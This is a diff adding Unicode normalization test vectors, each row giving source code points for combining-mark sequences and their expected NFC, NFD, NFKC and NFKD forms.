+{ source: [0x0061, 0x0951, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x0951, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0951, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x0951, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0951, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x059A, 0x0316, 0x1DFA, 0x0952, 0x0062], NFC: [0x0061, 0x1DFA, 0x0316, 0x0952, 0x059A, 0x0062], NFD: [0x0061, 0x1DFA, 0x0316, 0x0952, 0x059A, 0x0062], NFKC: [0x0061, 0x1DFA, 0x0316, 0x0952, 0x059A, 0x0062], NFKD: [0x0061, 0x1DFA, 0x0316, 0x0952, 0x059A, 0x0062] },
+{ source: [0x0061, 0x0952, 0x059A, 0x0316, 0x1DFA, 0x0062], NFC: [0x0061, 0x1DFA, 0x0952, 0x0316, 0x059A, 0x0062], NFD: [0x0061, 0x1DFA, 0x0952, 0x0316, 0x059A, 0x0062], NFKC: [0x0061, 0x1DFA, 0x0952, 0x0316, 0x059A, 0x0062], NFKD: [0x0061, 0x1DFA, 0x0952, 0x0316, 0x059A, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x0953, 0x0062], NFC: [0x00E0, 0x05AE, 0x0953, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x0953, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x0953, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x0953, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0953, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x0953, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0953, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x0953, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0953, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x0954, 0x0062], NFC: [0x00E0, 0x05AE, 0x0954, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x0954, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x0954, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x0954, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0954, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x0954, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0954, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x0954, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0954, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x3099, 0x093C, 0x16FF0, 0x09BC, 0x0062], NFC: [0x0061, 0x16FF0, 0x093C, 0x09BC, 0x3099, 0x0062], NFD: [0x0061, 0x16FF0, 0x093C, 0x09BC, 0x3099, 0x0062], NFKC: [0x0061, 0x16FF0, 0x093C, 0x09BC, 0x3099, 0x0062], NFKD: [0x0061, 0x16FF0, 0x093C, 0x09BC, 0x3099, 0x0062] },
+{ source: [0x0061, 0x09BC, 0x3099, 0x093C, 0x16FF0, 0x0062], NFC: [0x0061, 0x16FF0, 0x09BC, 0x093C, 0x3099, 0x0062], NFD: [0x0061, 0x16FF0, 0x09BC, 0x093C, 0x3099, 0x0062], NFKC: [0x0061, 0x16FF0, 0x09BC, 0x093C, 0x3099, 0x0062], NFKD: [0x0061, 0x16FF0, 0x09BC, 0x093C, 0x3099, 0x0062] },
+{ source: [0x0061, 0x05B0, 0x094D, 0x3099, 0x09CD, 0x0062], NFC: [0x0061, 0x3099, 0x094D, 0x09CD, 0x05B0, 0x0062], NFD: [0x0061, 0x3099, 0x094D, 0x09CD, 0x05B0, 0x0062], NFKC: [0x0061, 0x3099, 0x094D, 0x09CD, 0x05B0, 0x0062], NFKD: [0x0061, 0x3099, 0x094D, 0x09CD, 0x05B0, 0x0062] },
+{ source: [0x0061, 0x09CD, 0x05B0, 0x094D, 0x3099, 0x0062], NFC: [0x0061, 0x3099, 0x09CD, 0x094D, 0x05B0, 0x0062], NFD: [0x0061, 0x3099, 0x09CD, 0x094D, 0x05B0, 0x0062], NFKC: [0x0061, 0x3099, 0x09CD, 0x094D, 0x05B0, 0x0062], NFKD: [0x0061, 0x3099, 0x09CD, 0x094D, 0x05B0, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x09FE, 0x0062], NFC: [0x00E0, 0x05AE, 0x09FE, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x09FE, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x09FE, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x09FE, 0x0315, 0x0062] },
+{ source: [0x0061, 0x09FE, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x09FE, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x09FE, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x09FE, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x09FE, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x3099, 0x093C, 0x16FF0, 0x0A3C, 0x0062], NFC: [0x0061, 0x16FF0, 0x093C, 0x0A3C, 0x3099, 0x0062], NFD: [0x0061, 0x16FF0, 0x093C, 0x0A3C, 0x3099, 0x0062], NFKC: [0x0061, 0x16FF0, 0x093C, 0x0A3C, 0x3099, 0x0062], NFKD: [0x0061, 0x16FF0, 0x093C, 0x0A3C, 0x3099, 0x0062] },
+{ source: [0x0061, 0x0A3C, 0x3099, 0x093C, 0x16FF0, 0x0062], NFC: [0x0061, 0x16FF0, 0x0A3C, 0x093C, 0x3099, 0x0062], NFD: [0x0061, 0x16FF0, 0x0A3C, 0x093C, 0x3099, 0x0062], NFKC: [0x0061, 0x16FF0, 0x0A3C, 0x093C, 0x3099, 0x0062], NFKD: [0x0061, 0x16FF0, 0x0A3C, 0x093C, 0x3099, 0x0062] },
+{ source: [0x0061, 0x05B0, 0x094D, 0x3099, 0x0A4D, 0x0062], NFC: [0x0061, 0x3099, 0x094D, 0x0A4D, 0x05B0, 0x0062], NFD: [0x0061, 0x3099, 0x094D, 0x0A4D, 0x05B0, 0x0062], NFKC: [0x0061, 0x3099, 0x094D, 0x0A4D, 0x05B0, 0x0062], NFKD: [0x0061, 0x3099, 0x094D, 0x0A4D, 0x05B0, 0x0062] },
+{ source: [0x0061, 0x0A4D, 0x05B0, 0x094D, 0x3099, 0x0062], NFC: [0x0061, 0x3099, 0x0A4D, 0x094D, 0x05B0, 0x0062], NFD: [0x0061, 0x3099, 0x0A4D, 0x094D, 0x05B0, 0x0062], NFKC: [0x0061, 0x3099, 0x0A4D, 0x094D, 0x05B0, 0x0062], NFKD: [0x0061, 0x3099, 0x0A4D, 0x094D, 0x05B0, 0x0062] },
+{ source: [0x0061, 0x3099, 0x093C, 0x16FF0, 0x0ABC, 0x0062], NFC: [0x0061, 0x16FF0, 0x093C, 0x0ABC, 0x3099, 0x0062], NFD: [0x0061, 0x16FF0, 0x093C, 0x0ABC, 0x3099, 0x0062], NFKC: [0x0061, 0x16FF0, 0x093C, 0x0ABC, 0x3099, 0x0062], NFKD: [0x0061, 0x16FF0, 0x093C, 0x0ABC, 0x3099, 0x0062] },
+{ source: [0x0061, 0x0ABC, 0x3099, 0x093C, 0x16FF0, 0x0062], NFC: [0x0061, 0x16FF0, 0x0ABC, 0x093C, 0x3099, 0x0062], NFD: [0x0061, 0x16FF0, 0x0ABC, 0x093C, 0x3099, 0x0062], NFKC: [0x0061, 0x16FF0, 0x0ABC, 0x093C, 0x3099, 0x0062], NFKD: [0x0061, 0x16FF0, 0x0ABC, 0x093C, 0x3099, 0x0062] },
+{ source: [0x0061, 0x05B0, 0x094D, 0x3099, 0x0ACD, 0x0062], NFC: [0x0061, 0x3099, 0x094D, 0x0ACD, 0x05B0, 0x0062], NFD: [0x0061, 0x3099, 0x094D, 0x0ACD, 0x05B0, 0x0062], NFKC: [0x0061, 0x3099, 0x094D, 0x0ACD, 0x05B0, 0x0062], NFKD: [0x0061, 0x3099, 0x094D, 0x0ACD, 0x05B0, 0x0062] },
+{ source: [0x0061, 0x0ACD, 0x05B0, 0x094D, 0x3099, 0x0062], NFC: [0x0061, 0x3099, 0x0ACD, 0x094D, 0x05B0, 0x0062], NFD: [0x0061, 0x3099, 0x0ACD, 0x094D, 0x05B0, 0x0062], NFKC: [0x0061, 0x3099, 0x0ACD, 0x094D, 0x05B0, 0x0062], NFKD: [0x0061, 0x3099, 0x0ACD, 0x094D, 0x05B0, 0x0062] },
+{ source: [0x0061, 0x3099, 0x093C, 0x16FF0, 0x0B3C, 0x0062], NFC: [0x0061, 0x16FF0, 0x093C, 0x0B3C, 0x3099, 0x0062], NFD: [0x0061, 0x16FF0, 0x093C, 0x0B3C, 0x3099, 0x0062], NFKC: [0x0061, 0x16FF0, 0x093C, 0x0B3C, 0x3099, 0x0062], NFKD: [0x0061, 0x16FF0, 0x093C, 0x0B3C, 0x3099, 0x0062] },
+{ source: [0x0061, 0x0B3C, 0x3099, 0x093C, 0x16FF0, 0x0062], NFC: [0x0061, 0x16FF0, 0x0B3C, 0x093C, 0x3099, 0x0062], NFD: [0x0061, 0x16FF0, 0x0B3C, 0x093C, 0x3099, 0x0062], NFKC: [0x0061, 0x16FF0, 0x0B3C, 0x093C, 0x3099, 0x0062], NFKD: [0x0061, 0x16FF0, 0x0B3C, 0x093C, 0x3099, 0x0062] },
+{ source: [0x0061, 0x05B0, 0x094D, 0x3099, 0x0B4D, 0x0062], NFC: [0x0061, 0x3099, 0x094D, 0x0B4D, 0x05B0, 0x0062], NFD: [0x0061, 0x3099, 0x094D, 0x0B4D, 0x05B0, 0x0062], NFKC: [0x0061, 0x3099, 0x094D, 0x0B4D, 0x05B0, 0x0062], NFKD: [0x0061, 0x3099, 0x094D, 0x0B4D, 0x05B0, 0x0062] },
+{ source: [0x0061, 0x0B4D, 0x05B0, 0x094D, 0x3099, 0x0062], NFC: [0x0061, 0x3099, 0x0B4D, 0x094D, 0x05B0, 0x0062], NFD: [0x0061, 0x3099, 0x0B4D, 0x094D, 0x05B0, 0x0062], NFKC: [0x0061, 0x3099, 0x0B4D, 0x094D, 0x05B0, 0x0062], NFKD: [0x0061, 0x3099, 0x0B4D, 0x094D, 0x05B0, 0x0062] },
+{ source: [0x0061, 0x05B0, 0x094D, 0x3099, 0x0BCD, 0x0062], NFC: [0x0061, 0x3099, 0x094D, 0x0BCD, 0x05B0, 0x0062], NFD: [0x0061, 0x3099, 0x094D, 0x0BCD, 0x05B0, 0x0062], NFKC: [0x0061, 0x3099, 0x094D, 0x0BCD, 0x05B0, 0x0062], NFKD: [0x0061, 0x3099, 0x094D, 0x0BCD, 0x05B0, 0x0062] },
+{ source: [0x0061, 0x0BCD, 0x05B0, 0x094D, 0x3099, 0x0062], NFC: [0x0061, 0x3099, 0x0BCD, 0x094D, 0x05B0, 0x0062], NFD: [0x0061, 0x3099, 0x0BCD, 0x094D, 0x05B0, 0x0062], NFKC: [0x0061, 0x3099, 0x0BCD, 0x094D, 0x05B0, 0x0062], NFKD: [0x0061, 0x3099, 0x0BCD, 0x094D, 0x05B0, 0x0062] },
+{ source: [0x0061, 0x3099, 0x093C, 0x16FF0, 0x0C3C, 0x0062], NFC: [0x0061, 0x16FF0, 0x093C, 0x0C3C, 0x3099, 0x0062], NFD: [0x0061, 0x16FF0, 0x093C, 0x0C3C, 0x3099, 0x0062], NFKC: [0x0061, 0x16FF0, 0x093C, 0x0C3C, 0x3099, 0x0062], NFKD: [0x0061, 0x16FF0, 0x093C, 0x0C3C, 0x3099, 0x0062] },
+{ source: [0x0061, 0x0C3C, 0x3099, 0x093C, 0x16FF0, 0x0062], NFC: [0x0061, 0x16FF0, 0x0C3C, 0x093C, 0x3099, 0x0062], NFD: [0x0061, 0x16FF0, 0x0C3C, 0x093C, 0x3099, 0x0062], NFKC: [0x0061, 0x16FF0, 0x0C3C, 0x093C, 0x3099, 0x0062], NFKD: [0x0061, 0x16FF0, 0x0C3C, 0x093C, 0x3099, 0x0062] },
+{ source: [0x0061, 0x05B0, 0x094D, 0x3099, 0x0C4D, 0x0062], NFC: [0x0061, 0x3099, 0x094D, 0x0C4D, 0x05B0, 0x0062], NFD: [0x0061, 0x3099, 0x094D, 0x0C4D, 0x05B0, 0x0062], NFKC: [0x0061, 0x3099, 0x094D, 0x0C4D, 0x05B0, 0x0062], NFKD: [0x0061, 0x3099, 0x094D, 0x0C4D, 0x05B0, 0x0062] },
+{ source: [0x0061, 0x0C4D, 0x05B0, 0x094D, 0x3099, 0x0062], NFC: [0x0061, 0x3099, 0x0C4D, 0x094D, 0x05B0, 0x0062], NFD: [0x0061, 0x3099, 0x0C4D, 0x094D, 0x05B0, 0x0062], NFKC: [0x0061, 0x3099, 0x0C4D, 0x094D, 0x05B0, 0x0062], NFKD: [0x0061, 0x3099, 0x0C4D, 0x094D, 0x05B0, 0x0062] },
+{ source: [0x0061, 0x0C56, 0x0C55, 0x0711, 0x0C55, 0x0062], NFC: [0x0061, 0x0711, 0x0C55, 0x0C55, 0x0C56, 0x0062], NFD: [0x0061, 0x0711, 0x0C55, 0x0C55, 0x0C56, 0x0062], NFKC: [0x0061, 0x0711, 0x0C55, 0x0C55, 0x0C56, 0x0062], NFKD: [0x0061, 0x0711, 0x0C55, 0x0C55, 0x0C56, 0x0062] },
+{ source: [0x0061, 0x0C55, 0x0C56, 0x0C55, 0x0711, 0x0062], NFC: [0x0061, 0x0711, 0x0C55, 0x0C55, 0x0C56, 0x0062], NFD: [0x0061, 0x0711, 0x0C55, 0x0C55, 0x0C56, 0x0062], NFKC: [0x0061, 0x0711, 0x0C55, 0x0C55, 0x0C56, 0x0062], NFKD: [0x0061, 0x0711, 0x0C55, 0x0C55, 0x0C56, 0x0062] },
+{ source: [0x0061, 0x0E38, 0x0C56, 0x0C55, 0x0C56, 0x0062], NFC: [0x0061, 0x0C55, 0x0C56, 0x0C56, 0x0E38, 0x0062], NFD: [0x0061, 0x0C55, 0x0C56, 0x0C56, 0x0E38, 0x0062], NFKC: [0x0061, 0x0C55, 0x0C56, 0x0C56, 0x0E38, 0x0062], NFKD: [0x0061, 0x0C55, 0x0C56, 0x0C56, 0x0E38, 0x0062] },
+{ source: [0x0061, 0x0C56, 0x0E38, 0x0C56, 0x0C55, 0x0062], NFC: [0x0061, 0x0C55, 0x0C56, 0x0C56, 0x0E38, 0x0062], NFD: [0x0061, 0x0C55, 0x0C56, 0x0C56, 0x0E38, 0x0062], NFKC: [0x0061, 0x0C55, 0x0C56, 0x0C56, 0x0E38, 0x0062], NFKD: [0x0061, 0x0C55, 0x0C56, 0x0C56, 0x0E38, 0x0062] },
+{ source: [0x0061, 0x3099, 0x093C, 0x16FF0, 0x0CBC, 0x0062], NFC: [0x0061, 0x16FF0, 0x093C, 0x0CBC, 0x3099, 0x0062], NFD: [0x0061, 0x16FF0, 0x093C, 0x0CBC, 0x3099, 0x0062], NFKC: [0x0061, 0x16FF0, 0x093C, 0x0CBC, 0x3099, 0x0062], NFKD: [0x0061, 0x16FF0, 0x093C, 0x0CBC, 0x3099, 0x0062] },
+{ source: [0x0061, 0x0CBC, 0x3099, 0x093C, 0x16FF0, 0x0062], NFC: [0x0061, 0x16FF0, 0x0CBC, 0x093C, 0x3099, 0x0062], NFD: [0x0061, 0x16FF0, 0x0CBC, 0x093C, 0x3099, 0x0062], NFKC: [0x0061, 0x16FF0, 0x0CBC, 0x093C, 0x3099, 0x0062], NFKD: [0x0061, 0x16FF0, 0x0CBC, 0x093C, 0x3099, 0x0062] },
+{ source: [0x0061, 0x05B0, 0x094D, 0x3099, 0x0CCD, 0x0062], NFC: [0x0061, 0x3099, 0x094D, 0x0CCD, 0x05B0, 0x0062], NFD: [0x0061, 0x3099, 0x094D, 0x0CCD, 0x05B0, 0x0062], NFKC: [0x0061, 0x3099, 0x094D, 0x0CCD, 0x05B0, 0x0062], NFKD: [0x0061, 0x3099, 0x094D, 0x0CCD, 0x05B0, 0x0062] },
+{ source: [0x0061, 0x0CCD, 0x05B0, 0x094D, 0x3099, 0x0062], NFC: [0x0061, 0x3099, 0x0CCD, 0x094D, 0x05B0, 0x0062], NFD: [0x0061, 0x3099, 0x0CCD, 0x094D, 0x05B0, 0x0062], NFKC: [0x0061, 0x3099, 0x0CCD, 0x094D, 0x05B0, 0x0062], NFKD: [0x0061, 0x3099, 0x0CCD, 0x094D, 0x05B0, 0x0062] },
+{ source: [0x0061, 0x05B0, 0x094D, 0x3099, 0x0D3B, 0x0062], NFC: [0x0061, 0x3099, 0x094D, 0x0D3B, 0x05B0, 0x0062], NFD: [0x0061, 0x3099, 0x094D, 0x0D3B, 0x05B0, 0x0062], NFKC: [0x0061, 0x3099, 0x094D, 0x0D3B, 0x05B0, 0x0062], NFKD: [0x0061, 0x3099, 0x094D, 0x0D3B, 0x05B0, 0x0062] },
+{ source: [0x0061, 0x0D3B, 0x05B0, 0x094D, 0x3099, 0x0062], NFC: [0x0061, 0x3099, 0x0D3B, 0x094D, 0x05B0, 0x0062], NFD: [0x0061, 0x3099, 0x0D3B, 0x094D, 0x05B0, 0x0062], NFKC: [0x0061, 0x3099, 0x0D3B, 0x094D, 0x05B0, 0x0062], NFKD: [0x0061, 0x3099, 0x0D3B, 0x094D, 0x05B0, 0x0062] },
+{ source: [0x0061, 0x05B0, 0x094D, 0x3099, 0x0D3C, 0x0062], NFC: [0x0061, 0x3099, 0x094D, 0x0D3C, 0x05B0, 0x0062], NFD: [0x0061, 0x3099, 0x094D, 0x0D3C, 0x05B0, 0x0062], NFKC: [0x0061, 0x3099, 0x094D, 0x0D3C, 0x05B0, 0x0062], NFKD: [0x0061, 0x3099, 0x094D, 0x0D3C, 0x05B0, 0x0062] },
+{ source: [0x0061, 0x0D3C, 0x05B0, 0x094D, 0x3099, 0x0062], NFC: [0x0061, 0x3099, 0x0D3C, 0x094D, 0x05B0, 0x0062], NFD: [0x0061, 0x3099, 0x0D3C, 0x094D, 0x05B0, 0x0062], NFKC: [0x0061, 0x3099, 0x0D3C, 0x094D, 0x05B0, 0x0062], NFKD: [0x0061, 0x3099, 0x0D3C, 0x094D, 0x05B0, 0x0062] },
+{ source: [0x0061, 0x05B0, 0x094D, 0x3099, 0x0D4D, 0x0062], NFC: [0x0061, 0x3099, 0x094D, 0x0D4D, 0x05B0, 0x0062], NFD: [0x0061, 0x3099, 0x094D, 0x0D4D, 0x05B0, 0x0062], NFKC: [0x0061, 0x3099, 0x094D, 0x0D4D, 0x05B0, 0x0062], NFKD: [0x0061, 0x3099, 0x094D, 0x0D4D, 0x05B0, 0x0062] },
+{ source: [0x0061, 0x0D4D, 0x05B0, 0x094D, 0x3099, 0x0062], NFC: [0x0061, 0x3099, 0x0D4D, 0x094D, 0x05B0, 0x0062], NFD: [0x0061, 0x3099, 0x0D4D, 0x094D, 0x05B0, 0x0062], NFKC: [0x0061, 0x3099, 0x0D4D, 0x094D, 0x05B0, 0x0062], NFKD: [0x0061, 0x3099, 0x0D4D, 0x094D, 0x05B0, 0x0062] },
+{ source: [0x0061, 0x05B0, 0x094D, 0x3099, 0x0DCA, 0x0062], NFC: [0x0061, 0x3099, 0x094D, 0x0DCA, 0x05B0, 0x0062], NFD: [0x0061, 0x3099, 0x094D, 0x0DCA, 0x05B0, 0x0062], NFKC: [0x0061, 0x3099, 0x094D, 0x0DCA, 0x05B0, 0x0062], NFKD: [0x0061, 0x3099, 0x094D, 0x0DCA, 0x05B0, 0x0062] },
+{ source: [0x0061, 0x0DCA, 0x05B0, 0x094D, 0x3099, 0x0062], NFC: [0x0061, 0x3099, 0x0DCA, 0x094D, 0x05B0, 0x0062], NFD: [0x0061, 0x3099, 0x0DCA, 0x094D, 0x05B0, 0x0062], NFKC: [0x0061, 0x3099, 0x0DCA, 0x094D, 0x05B0, 0x0062], NFKD: [0x0061, 0x3099, 0x0DCA, 0x094D, 0x05B0, 0x0062] },
+{ source: [0x0061, 0x0E48, 0x0E38, 0x0C56, 0x0E38, 0x0062], NFC: [0x0061, 0x0C56, 0x0E38, 0x0E38, 0x0E48, 0x0062], NFD: [0x0061, 0x0C56, 0x0E38, 0x0E38, 0x0E48, 0x0062], NFKC: [0x0061, 0x0C56, 0x0E38, 0x0E38, 0x0E48, 0x0062], NFKD: [0x0061, 0x0C56, 0x0E38, 0x0E38, 0x0E48, 0x0062] },
+{ source: [0x0061, 0x0E38, 0x0E48, 0x0E38, 0x0C56, 0x0062], NFC: [0x0061, 0x0C56, 0x0E38, 0x0E38, 0x0E48, 0x0062], NFD: [0x0061, 0x0C56, 0x0E38, 0x0E38, 0x0E48, 0x0062], NFKC: [0x0061, 0x0C56, 0x0E38, 0x0E38, 0x0E48, 0x0062], NFKD: [0x0061, 0x0C56, 0x0E38, 0x0E38, 0x0E48, 0x0062] },
+{ source: [0x0061, 0x0E48, 0x0E38, 0x0C56, 0x0E39, 0x0062], NFC: [0x0061, 0x0C56, 0x0E38, 0x0E39, 0x0E48, 0x0062], NFD: [0x0061, 0x0C56, 0x0E38, 0x0E39, 0x0E48, 0x0062], NFKC: [0x0061, 0x0C56, 0x0E38, 0x0E39, 0x0E48, 0x0062], NFKD: [0x0061, 0x0C56, 0x0E38, 0x0E39, 0x0E48, 0x0062] },
+{ source: [0x0061, 0x0E39, 0x0E48, 0x0E38, 0x0C56, 0x0062], NFC: [0x0061, 0x0C56, 0x0E39, 0x0E38, 0x0E48, 0x0062], NFD: [0x0061, 0x0C56, 0x0E39, 0x0E38, 0x0E48, 0x0062], NFKC: [0x0061, 0x0C56, 0x0E39, 0x0E38, 0x0E48, 0x0062], NFKD: [0x0061, 0x0C56, 0x0E39, 0x0E38, 0x0E48, 0x0062] },
+{ source: [0x0061, 0x05B0, 0x094D, 0x3099, 0x0E3A, 0x0062], NFC: [0x0061, 0x3099, 0x094D, 0x0E3A, 0x05B0, 0x0062], NFD: [0x0061, 0x3099, 0x094D, 0x0E3A, 0x05B0, 0x0062], NFKC: [0x0061, 0x3099, 0x094D, 0x0E3A, 0x05B0, 0x0062], NFKD: [0x0061, 0x3099, 0x094D, 0x0E3A, 0x05B0, 0x0062] },
+{ source: [0x0061, 0x0E3A, 0x05B0, 0x094D, 0x3099, 0x0062], NFC: [0x0061, 0x3099, 0x0E3A, 0x094D, 0x05B0, 0x0062], NFD: [0x0061, 0x3099, 0x0E3A, 0x094D, 0x05B0, 0x0062], NFKC: [0x0061, 0x3099, 0x0E3A, 0x094D, 0x05B0, 0x0062], NFKD: [0x0061, 0x3099, 0x0E3A, 0x094D, 0x05B0, 0x0062] },
+{ source: [0x0061, 0x0EB8, 0x0E48, 0x0E38, 0x0E48, 0x0062], NFC: [0x0061, 0x0E38, 0x0E48, 0x0E48, 0x0EB8, 0x0062], NFD: [0x0061, 0x0E38, 0x0E48, 0x0E48, 0x0EB8, 0x0062], NFKC: [0x0061, 0x0E38, 0x0E48, 0x0E48, 0x0EB8, 0x0062], NFKD: [0x0061, 0x0E38, 0x0E48, 0x0E48, 0x0EB8, 0x0062] },
+{ source: [0x0061, 0x0E48, 0x0EB8, 0x0E48, 0x0E38, 0x0062], NFC: [0x0061, 0x0E38, 0x0E48, 0x0E48, 0x0EB8, 0x0062], NFD: [0x0061, 0x0E38, 0x0E48, 0x0E48, 0x0EB8, 0x0062], NFKC: [0x0061, 0x0E38, 0x0E48, 0x0E48, 0x0EB8, 0x0062], NFKD: [0x0061, 0x0E38, 0x0E48, 0x0E48, 0x0EB8, 0x0062] },
+{ source: [0x0061, 0x0EB8, 0x0E48, 0x0E38, 0x0E49, 0x0062], NFC: [0x0061, 0x0E38, 0x0E48, 0x0E49, 0x0EB8, 0x0062], NFD: [0x0061, 0x0E38, 0x0E48, 0x0E49, 0x0EB8, 0x0062], NFKC: [0x0061, 0x0E38, 0x0E48, 0x0E49, 0x0EB8, 0x0062], NFKD: [0x0061, 0x0E38, 0x0E48, 0x0E49, 0x0EB8, 0x0062] },
+{ source: [0x0061, 0x0E49, 0x0EB8, 0x0E48, 0x0E38, 0x0062], NFC: [0x0061, 0x0E38, 0x0E49, 0x0E48, 0x0EB8, 0x0062], NFD: [0x0061, 0x0E38, 0x0E49, 0x0E48, 0x0EB8, 0x0062], NFKC: [0x0061, 0x0E38, 0x0E49, 0x0E48, 0x0EB8, 0x0062], NFKD: [0x0061, 0x0E38, 0x0E49, 0x0E48, 0x0EB8, 0x0062] },
+{ source: [0x0061, 0x0EB8, 0x0E48, 0x0E38, 0x0E4A, 0x0062], NFC: [0x0061, 0x0E38, 0x0E48, 0x0E4A, 0x0EB8, 0x0062], NFD: [0x0061, 0x0E38, 0x0E48, 0x0E4A, 0x0EB8, 0x0062], NFKC: [0x0061, 0x0E38, 0x0E48, 0x0E4A, 0x0EB8, 0x0062], NFKD: [0x0061, 0x0E38, 0x0E48, 0x0E4A, 0x0EB8, 0x0062] },
+{ source: [0x0061, 0x0E4A, 0x0EB8, 0x0E48, 0x0E38, 0x0062], NFC: [0x0061, 0x0E38, 0x0E4A, 0x0E48, 0x0EB8, 0x0062], NFD: [0x0061, 0x0E38, 0x0E4A, 0x0E48, 0x0EB8, 0x0062], NFKC: [0x0061, 0x0E38, 0x0E4A, 0x0E48, 0x0EB8, 0x0062], NFKD: [0x0061, 0x0E38, 0x0E4A, 0x0E48, 0x0EB8, 0x0062] },
+{ source: [0x0061, 0x0EB8, 0x0E48, 0x0E38, 0x0E4B, 0x0062], NFC: [0x0061, 0x0E38, 0x0E48, 0x0E4B, 0x0EB8, 0x0062], NFD: [0x0061, 0x0E38, 0x0E48, 0x0E4B, 0x0EB8, 0x0062], NFKC: [0x0061, 0x0E38, 0x0E48, 0x0E4B, 0x0EB8, 0x0062], NFKD: [0x0061, 0x0E38, 0x0E48, 0x0E4B, 0x0EB8, 0x0062] },
+{ source: [0x0061, 0x0E4B, 0x0EB8, 0x0E48, 0x0E38, 0x0062], NFC: [0x0061, 0x0E38, 0x0E4B, 0x0E48, 0x0EB8, 0x0062], NFD: [0x0061, 0x0E38, 0x0E4B, 0x0E48, 0x0EB8, 0x0062], NFKC: [0x0061, 0x0E38, 0x0E4B, 0x0E48, 0x0EB8, 0x0062], NFKD: [0x0061, 0x0E38, 0x0E4B, 0x0E48, 0x0EB8, 0x0062] },
+{ source: [0x0061, 0x0EC8, 0x0EB8, 0x0E48, 0x0EB8, 0x0062], NFC: [0x0061, 0x0E48, 0x0EB8, 0x0EB8, 0x0EC8, 0x0062], NFD: [0x0061, 0x0E48, 0x0EB8, 0x0EB8, 0x0EC8, 0x0062], NFKC: [0x0061, 0x0E48, 0x0EB8, 0x0EB8, 0x0EC8, 0x0062], NFKD: [0x0061, 0x0E48, 0x0EB8, 0x0EB8, 0x0EC8, 0x0062] },
+{ source: [0x0061, 0x0EB8, 0x0EC8, 0x0EB8, 0x0E48, 0x0062], NFC: [0x0061, 0x0E48, 0x0EB8, 0x0EB8, 0x0EC8, 0x0062], NFD: [0x0061, 0x0E48, 0x0EB8, 0x0EB8, 0x0EC8, 0x0062], NFKC: [0x0061, 0x0E48, 0x0EB8, 0x0EB8, 0x0EC8, 0x0062], NFKD: [0x0061, 0x0E48, 0x0EB8, 0x0EB8, 0x0EC8, 0x0062] },
+{ source: [0x0061, 0x0EC8, 0x0EB8, 0x0E48, 0x0EB9, 0x0062], NFC: [0x0061, 0x0E48, 0x0EB8, 0x0EB9, 0x0EC8, 0x0062], NFD: [0x0061, 0x0E48, 0x0EB8, 0x0EB9, 0x0EC8, 0x0062], NFKC: [0x0061, 0x0E48, 0x0EB8, 0x0EB9, 0x0EC8, 0x0062], NFKD: [0x0061, 0x0E48, 0x0EB8, 0x0EB9, 0x0EC8, 0x0062] },
+{ source: [0x0061, 0x0EB9, 0x0EC8, 0x0EB8, 0x0E48, 0x0062], NFC: [0x0061, 0x0E48, 0x0EB9, 0x0EB8, 0x0EC8, 0x0062], NFD: [0x0061, 0x0E48, 0x0EB9, 0x0EB8, 0x0EC8, 0x0062], NFKC: [0x0061, 0x0E48, 0x0EB9, 0x0EB8, 0x0EC8, 0x0062], NFKD: [0x0061, 0x0E48, 0x0EB9, 0x0EB8, 0x0EC8, 0x0062] },
+{ source: [0x0061, 0x05B0, 0x094D, 0x3099, 0x0EBA, 0x0062], NFC: [0x0061, 0x3099, 0x094D, 0x0EBA, 0x05B0, 0x0062], NFD: [0x0061, 0x3099, 0x094D, 0x0EBA, 0x05B0, 0x0062], NFKC: [0x0061, 0x3099, 0x094D, 0x0EBA, 0x05B0, 0x0062], NFKD: [0x0061, 0x3099, 0x094D, 0x0EBA, 0x05B0, 0x0062] },
+{ source: [0x0061, 0x0EBA, 0x05B0, 0x094D, 0x3099, 0x0062], NFC: [0x0061, 0x3099, 0x0EBA, 0x094D, 0x05B0, 0x0062], NFD: [0x0061, 0x3099, 0x0EBA, 0x094D, 0x05B0, 0x0062], NFKC: [0x0061, 0x3099, 0x0EBA, 0x094D, 0x05B0, 0x0062], NFKD: [0x0061, 0x3099, 0x0EBA, 0x094D, 0x05B0, 0x0062] },
